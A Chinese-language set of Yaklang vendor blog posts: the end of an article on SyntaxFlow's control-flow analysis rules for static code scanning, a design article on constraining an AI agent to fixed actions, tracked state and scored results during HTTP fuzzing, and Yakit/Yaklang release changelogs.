尽管我们可以通过串联 cfgGuards和 cfgCondition自底向上追溯调用链，但此方案存在局限：在进行代码扫描时，我们无法预知过滤函数的准确数量。若仅配置一次 cfgCondition，则大概率只能定位到调用链末端的最终过滤函数，而无法回溯到链上的所有中间函数。

下面 Syntaxflow 规则将使用 reachabilityGuard一次性找到所有有效的过滤函数：


<include("golang-user-input")> as $from

db.Query(* as $to)

$from<reachabilityGuard(target="$to", mode="mustExecute")> as $guard;

reachabilityGuard
 就是为了解决这个问题而出现的，它的含义为：控制流想要从 from
 移动到 to
 的途中需要满足的所有条件。

四、对旧的语法补充控制流分析功能

YAK

`1.`

是 SyntaxFlow 的 native call，在原有 include / exclude / end 路径过滤之上，增加了按 CFG 锚点裁剪的参数。

1.only_reachable：指定锚点符号（如 $thenCfg），通常来自，也可以是 frame 里任意能映射到基本块的 SSA 值；只保留「定义点 CFG 能到达该锚点」的结果。

2.only_reachable_mode：控制 CFG 过滤时机。post 在 include/exclude 路径匹配完成后，再按锚点后滤结果；path 在枚举 dataflow 路径时，对每一步扩展做可达性约束。

3.strict：设为 true 时等价于 only_reachable_mode="path"，即启用路径级 CFG 过滤。

4.icfg：过程内 CFG 判不可达时，是否启用跨过程 ICFG 再判可达；用于 caller → callee 等跨函数场景。

5.max_depth：仅在 icfg: true 时生效，限制 ICFG 搜索时的调用深度上限（跨过程边层数）。

6.max_nodes：仅在 icfg: true 时生效，限制 CFG/ICFG BFS 访问的状态节点数，防止搜索过大；超出则视为不可达。

案例如下：

$sink<dataflow(<<
    * #-> as $p
    CODE,
include: <<
    * & $input
    INC,
exclude: <<
    *?{}
    EXC,
only_reachable: "$sinkCfg",
only_reachable_mode: "post"
)> as $high

YAK

`2.{ ... } ->`

扩展了3个CFG相关的配置项：

1.only_reachable：能 CFG 到达锚点

2.include_reachable：包含目标 CFG 锚点

3.exclude_reachable：排除目标 CFG 锚点

语法案例：


$sink * #{

    include: `* & $source`,

    exclude: `*?{opcode: call}`,

    only_reachable: `$thenCfg`,

    exclude_reachable: `$badCfg`,

    until: `* & $param`,

}-> as $out

include_reachable exclude_reachable
 和之前已经存在的 include exclude
 有不同的地方，在逻辑上它们的效果类似于剪枝，而后者的效果更倾向于过滤。
下面的案例可以帮助你理解：

c = "test"
x = c
if (c) {
    a = "thenStr"
    x = a
} else {
    b = "elseStr"
    x = b
}
println(x)

println(* as $sink)
a as $thenVal
$sink * #{
    include: `* & $thenVal`,
}-> as $outInc // 得到 "thenStr"
$thenVal as $thenCfg
$sink * #{
    include_reachable: `$thenCfg`,
}-> as $outReach // 得到 "thenStr" 和 "test"

在第二个规则样例中，include_reachable的主要作用是包含 else 这条路径，因此在这条路径上的 "test" 也会被查找到，而第一个规则样例主要是为了在数据流中过滤某个变量，因此只保留了 "thenStr"。

五、总结

SyntaxFlow 的 CFG 能力是在既有 NativeCall 体系上的控制流语义扩展：

1.getCfg 提供统一基本块锚点

2.cfgGuards、cfgDominates、cfgReachable、reachabilityGuard 等链式 native 负责分支截断、必经关系与入口必达

3.dataflow() 与 # { ... } -> 则通过 only_reachable 及 post/path、icfg 等参数，在原有 include/exclude 路径模型上叠加「定义点是否 CFG 可达锚块」的过滤

控制流分析可以在保留数据流污点骨架的同时，显著减少 if/else 死分支、早 return 校验、phi 多值枚举带来的误报，并在内置规则中逐步替代依赖 opcode:phi 的间接写法。

未来总体目标是：让 SyntaxFlow 在「语法 + 数据流」之外，具备可编写、可组合、可回归的控制流感知规则表达能力，同时保持对存量规则的平滑兼容与渐进迁移。

END

更新记录

Yaklang 1.4.7-beta8

[Yakit]

1. Http Fuzz 专注模式 UI 优化，减少错误日志输出以避免前端过载；

2. gRPC TLS 启动支持查看证书信息

3. 优化HTTPFuzzer发包错误提示并新增 TLS 自动重试能力；

4. Codec 编解码支持自动解码 Key；RSA 加密支持 JavaScript 解码风格；

5. 修复 file.save 覆盖逻辑失败问题；

6. cli参数生成修正为有序模式

[Irify]

1. 优化编译语言判断，提升准确率

2. 修复C、GO、TS、Python的编译问题

[Memfit / AIgent]

1. MCP 服务：重构升级 MCP 服务，提供外接 MCP 与 Memfit AI 工具；并新增 MCP 服务工具面板；

2. 模型与执行修复：修复 directly answer 多次不退出的问题；

3. 能力更新：深度规划支持并发执行任务，todo列表优化展示

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

从HTTP模糊测试看AI Agent的工程化设计

Fri, 29 May 2026 18:14:00 +0800

原创 YAK 2026-05-29 18:14 湖南

用框架约束发散，换工程极致稳定

一、一个人类工作行为的观察

想象一个标准的 Web 应用模糊测试（Fuzzing）场景。当一名资深的安全工程师坐在屏幕前时，他的核心工作模式通常不是在想什么“奇招”，而是极其朴素且严谨的闭环链路：

1.异常感知：“这个响应的状态码正常吗？是 500 还是 403？响应速度是不是明显变慢了？返回内容里是否包含特定的错误信息？”

2.差异比对：“如果觉得有异常，它和正常请求的响应差异在哪里？是数据体积变了，还是内容本身变了？”

3.决策下一步：“基于这个差异，我是应该继续沿着当前方向深入测试，还是及时调整策略？”

在这个过程中，工程师的每一步测试、每一个判断、每一项结果，都是有条不紊、步步留痕的。

如果同样的事情，我们直接交由一个没有任何约束的 AI 来做，可能每次的结果都不太一致，如果模型能力偏弱一点甚至会流于失控：

第一次测试它认为应该重点关注 Cookie；
第二次测试它可能又觉得应该先验证 HTTP 方法；
有时它会死磕在某个无法突破的方向上，不知道何时该放弃；
面对一个普通的响应，它可能给出主观的误判，却无法解释背后的逻辑。

缺乏约束的 AI，可能会出现看起来很忙，但测试过程却是一团乱麻。

二、从“发散思考”到“做选择题”

Yaklang AI 生态中的“专注模式”，其本质就是将人类工程师的经验与逻辑代码化，让 AI 做明确的选择题，而不是做无边界的填空题。

系统明确地为 AI 划定了一个“工具箱”。在 HTTP 模糊测试场景中，AI 能够执行的操作被严格限制在 14 种标准动作内：

action_fuzz_body：模糊化请求体参数
action_fuzz_header：修改 HTTP 头部字段
action_fuzz_cookie：修改 Cookie 进行测试
action_fuzz_method：改变 HTTP 请求方法
action_fuzz_path：改变请求路径
action_generate_and_send_packet：生成并发送新请求
……（共 14 种标准操作）
action_directly_answer：直接给出最终测试结论

AI 的核心任务不再是在无限的可能性中瞎蒙，而是在这十几种定义清晰的代码动作中做出最合理的离散选择。

这种设计确实在一定程度上限制了 AI 的“创造性”，但对于模糊测试场景而言，却换来了工程落地最迫切需要的高可靠性。

三、专注模式的四大核心设计

为了将这种可靠性落到实处，系统在底层构建了四个核心设计支撑。

YAK

1.操作清单：明确能力边界

代码中定义的 14 个标准操作，代表了 AI 在整个测试周期中的全部行为边界。

这个清单的精髓不在于操作的多寡，而在于“边界的绝对明确”。AI 被剥夺了任意发散和创意组合的权力，必须在给定的规则内执行具体的工程动作。

YAK

2.完备的状态记录：对高保真要求数据进行代码维护

为了防止 AI 在多轮测试中丢失上下文，系统在底层维护了一个结构化的状态账本。在 AI 执行每一步决策前，系统都会将这个完备的上下文信息同步给它：

type loopHTTPFuzzSessionContext struct {
    OriginalRequest         string   // 原始请求（作为所有比对的基准）
    CurrentRequest          string   // 当前正在测试的请求
    PreviousRequest         string   // 上一个请求（用于前后对比）
    RequestChangeSummary    string   // 请求改动摘要
    RecentActions           []loopHTTPFuzzActionRecord  // 最近 12 次的操作记录历史
    TestedPayloadsByAction  map[string][]string         // 按操作类型记录已测试过的载荷，防止重复
    LastActionType          string   // 上次操作类型
}

基准永恒：OriginalRequest 作为初始参照物，永远不会被篡改。
规避重复：TestedPayloadsByAction 记录了已测试过的路径，避免 AI 在同一个坑里反复试探。

通过这种方式，AI 不需要依赖自身不稳定的记忆去猜过去发生了什么，而是直接基于代码保存的客观事实进行下一步推导。

YAK

3.测试结果的数据化处理：通过代码维护幂等

在短时间内产生大量测试响应时，安全专家通常能依靠经验和直觉快速过滤出高价值的异常。而在 Yaklang 的系统中，这套直觉被彻底代码化和定量化了。

系统引入了一个多维度评分系统，自动对每一个返回的响应进行分类与评估：

通过这个评分系统，AI 面对的不再是海量晦涩的原始文本，而是清晰的数据标签。AI 的测试逻辑也因此变得极为清爽：

AI 的决策依据从“主观感觉”彻底变成了“数据驱动”，它只需观察评分结果，就能做出最优的下一步动作。

YAK

4.全链路可观测性：白盒化，提供证据支撑

在大模型应用工程化落地时，系统维护者最常面对的挑战往往来自于用户的负面反馈：“AI 漏报了漏洞”或“AI 的测试结论不准确”。

如果系统是一个“黑盒”，缺乏底层的关键数据支撑，我们将陷入无解的境地——你无法去溯源大模型当时为什么会得出这个结论。

因此，“专注模式”强调全链路的可观测性，要求做到显式化决策与流量留存：

1.决策显式化（知其所以然）：AI 在做出每一项 Action 决策时，必须同步输出它的思维链（Chain of Thought）与当前意图。例如：“检测到响应体积发生变化，下一步将执行 action_fuzz_body 以验证是否存在越权风险。”

2.流量铁证化（避免空中楼阁）：AI 汇报的任何一个安全风险，都不能只凭空给出一个结论。系统必须将这个结论相关的具体流量记录上。报告中的每一个漏洞，背后都必须能找到对应的、可重放的原始网络报文。

这些数据留存不仅是为了“记录”，更具备明确的工程变现价值。通过批量分析测试会话的数据，如果发现 AI 在某一类动作上的成功率偏低，开发者就能精准地得出方向，进而优化提示词或策略，实现基于数据的系统迭代。

结语

追求更先进、参数量更大的大模型，是提升工程应用的表现不可或缺的一环。但是，在严肃的工业级落地场景中，框架的约束与机制的建立，也同样是决定一个系统能否真正投入使用的核心关键。

“专注模式”的核心思想其实极其质朴：给 AI 明确的操作、完整的状态、量化的评分、可追踪的过程。

让 AI 在固定的铁轨里做出高效的离散选择，而不是放任它在无限的荒野里随心所欲。

END

更新记录

Yakit v1.4.7-0529

1. Webfuzzer增加不修复响应

2. History和数据包右键增加复制URL可选择是否复制参数

3. AI侧边栏增加使用模式配置

4. 语言切换增加繁体

5. History勾选流量后会带入AI会话框，可针对流量进行分析处理

6. MITM交互插件启用优化，仅初次使用自动弹窗填写参数

7. 匹配器暗色模式问题修复

8. 修复引擎连接日志乱码的问题

9. 修复漏洞通知查看详情页面点击“确认”无法关闭的问题

Memfit AI v1.0.1-0529

1. 会话框模型列表可切换模型

2. 修复在漏洞列表查看详情时，AI刷新数据导致详情关闭的问题

3. 会话增加Plan提示词配置

4. 会话框支持右键只粘贴文本

IRify v1.2.3-0529

1. 上线AI 代码审计功能

Yaklang 1.4.7-beta7

1. 新增 AI 流式处理能力，支持实时响应

2. AI 插件调用支持使用插件名称或 ID

3. 新增 Web 指纹识别 AI 工具

4. 支持全局 AI 计划提示词配置

5. AI 功能配置支持热重载

6. AI 分析 HTTP 流量时支持附件携带和时间线处理，提升分析上下文能力

7. SSA2LLVM 编译器大量稳定性修复，解决栈溢出和链接问题

8. HTTP 历史记录支持持久化原始响应数据

9. URL 提取接口新增去除查询参数选项

10. 优化 SQLite 大数据库参数配置

11. 改进 AI Balance 存储机制

12. Syntaxflow规则搜索修复 RuleNames 过滤避免 SQLite 深度限制

13. Linux 构建切换至 manylinux2014，兼容 glibc 2.17及以上版本的linux设备

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：